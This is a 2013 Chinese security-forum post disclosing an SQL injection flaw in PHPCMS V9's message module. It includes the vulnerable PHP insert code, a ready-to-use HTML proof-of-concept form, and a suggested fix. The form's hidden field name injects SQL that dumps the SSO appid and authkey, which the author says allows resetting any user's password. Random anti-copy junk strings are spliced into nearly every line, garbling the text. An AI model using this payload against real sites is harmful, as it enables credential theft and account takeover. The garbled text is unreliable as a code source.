找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2097|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
+ |( k; f8 j9 M! y4 d8 ^$ F; u7 Q% z$ _
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。0 }- s0 G# B5 P+ x! [3 d+ A0 W
. q8 ]3 T. [; x$ P: P8 b
明天再更新下一个漏洞。
' P* {- N* F3 O) q+ D' S详细说明:1 e( N  P( l9 L
在/phpcms9/phpcms/modules/message/index.php中有代码如下:' Q# q' q. C6 T, S: Y; X* W
8 P8 P( w5 H) |/ I
$messageid = $this->message_db->insert($_POST['info'],true);$ ~. C& P7 X7 ?  |) u6 [
- W9 \6 Y6 o9 s% {& S

9 u9 w1 N5 Q9 W0 N: ~# t5 q, einsert方法是key value的,代码如下:2 B: S2 K& L  |0 J

8 t5 c+ `4 b  O2 L$ F! @" gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {% X1 f/ c) f2 W1 P
                if(!is_array( $data ) || $table == '' || count($data) == 0) {8 H7 r3 J3 r( Q7 G  i* I
                        return false;, j6 V4 ]/ D4 ^' P6 q2 ~) A' O* n
                }# c6 O+ Q! {* [5 H* N. d3 l
                ) o5 A. ~' ~& w" O# K
                $fielddata = array_keys($data);
+ ]8 j/ }$ {3 V% A9 f1 R                $valuedata = array_values($data);
: E* C& `& L+ V  ^0 x  P                array_walk($fielddata, array($this, 'add_special_char'));
/ P, I7 E# x4 ?                array_walk($valuedata, array($this, 'escape_string'));
2 |% `4 `- P' n3 @$ _                4 c& @7 k* @) I' ?* @
                $field = implode (',', $fielddata);
2 |9 g- ]* D  K                $value = implode (',', $valuedata);: s0 G- d; n% G

* r0 w0 `" Y  g5 a6 N; K9 K                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
7 {" h: i# D! X- u1 X: R                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
5 W6 L" [: R" U. |                $return = $this->execute($sql);$ k/ I2 a6 I# r
                return $return_insert_id ? $this->insert_id() : $return;5 w, r0 d8 |+ l9 x
        }) K  O; w8 u5 V. F! ?
3 v# F& o& i: }1 y4 \$ e

& `7 \  [# n  N嗯,很遗憾的是
1 ?7 `$ K1 N* j- a
0 W( h; t0 d3 k$ Z- Qarray_walk($fielddata, array($this, 'add_special_char'));, R, y+ i2 C# `0 T$ I" d7 x
" w5 I- \9 I3 n& f% I  s& H3 v9 u

6 p& C# o9 _. W. A" l中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。2 |# F& a4 {+ _/ t: C) q
+ f/ E( Q, I) ]
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
/ B) ?$ L! u' G% K! d7 ^
& D+ C% u5 U3 u' H8 I/ i+ m漏洞证明:
: X$ w) Q+ g# [$ \9 L* {( s读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
/ p5 o- Z  v' L& M6 l2 ?- E& Z0 M2 G
% k, E+ i/ u+ y
表单如下:用户名什么的得自己改一改。
& V, ^1 W, `8 y2 w/ Q, J<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">; v5 I' C% {0 r$ e; T
<table width="100%" cellspacing="0" class="table_form">) o3 j9 }. W" M+ `9 P* l! G
<tr>
: b! Y+ J# K0 v; T3 @<th>标 题:</th>! p1 j1 d# s1 p6 L
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>* y- h$ f& }" q! m& H% Z
</tr>
1 S2 V7 Q) l& J9 x: a- E<tr>
! d# ?, E! x  o* l# o1 x# `. b( J1 z% E<th>内 容:</th>
/ y5 o+ U$ l: H2 m; \5 z/ h7 t<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>' j9 q6 w6 }# _5 q! v! H
</tr>
$ w$ ~, K1 n& E1 z: x) g<input type="hidden" name="info[replyid]" value="2" /> 9 Y+ ^( T* v+ w
<input type="hidden" name="info[send_to_id]" value="cc" />
0 G# B5 \2 I& u( [<input type="hidden" name="info[send_from_id]" value="hh">$ g: X  D' [* A8 ^2 @# |" f: h
<!-- 漏洞的利用重点在这里开始 -->$ p5 }4 B" y. i$ M1 o2 I
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
' T% ^$ ]$ h+ N' R<!-- 漏洞的利用重点在这里结束 -->
  s6 J1 H5 L% C7 P<tr>
" l1 h4 a! y% T# z3 q, R) b<th>验证码:</th>) V" ]& D( A5 K
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>/ |% S+ @6 O) O7 h% t& E/ H) U
</tr>
8 L3 Z  ~# S& ?5 V! \4 S( g0 E  q/ p! F<tr>+ L% X- v9 q( j. m
<td></td>) D7 C$ }: G: k' h4 h# C( H
<td colspan="2"><label>
+ O! r# B. y$ t  `<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>! c& o" G, L, x# p9 X' Z
</label></td>
" c( F8 n( ?: D3 E</tr>' D' c  ^8 x; T# X3 }2 m, z  J
</table>) h' E; T8 X- O. O0 _) p! ~# ~
</form>
- w, C3 y) V' s. R在add_special_char函数内对key做过滤就可以了。
- m4 p# U2 z3 Y" d6 Z9 L
' n! H; f  k* R& V4 k
1 s$ S% X, \9 P- f8 }+ e9 |4 s; Z0 C) @! j

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表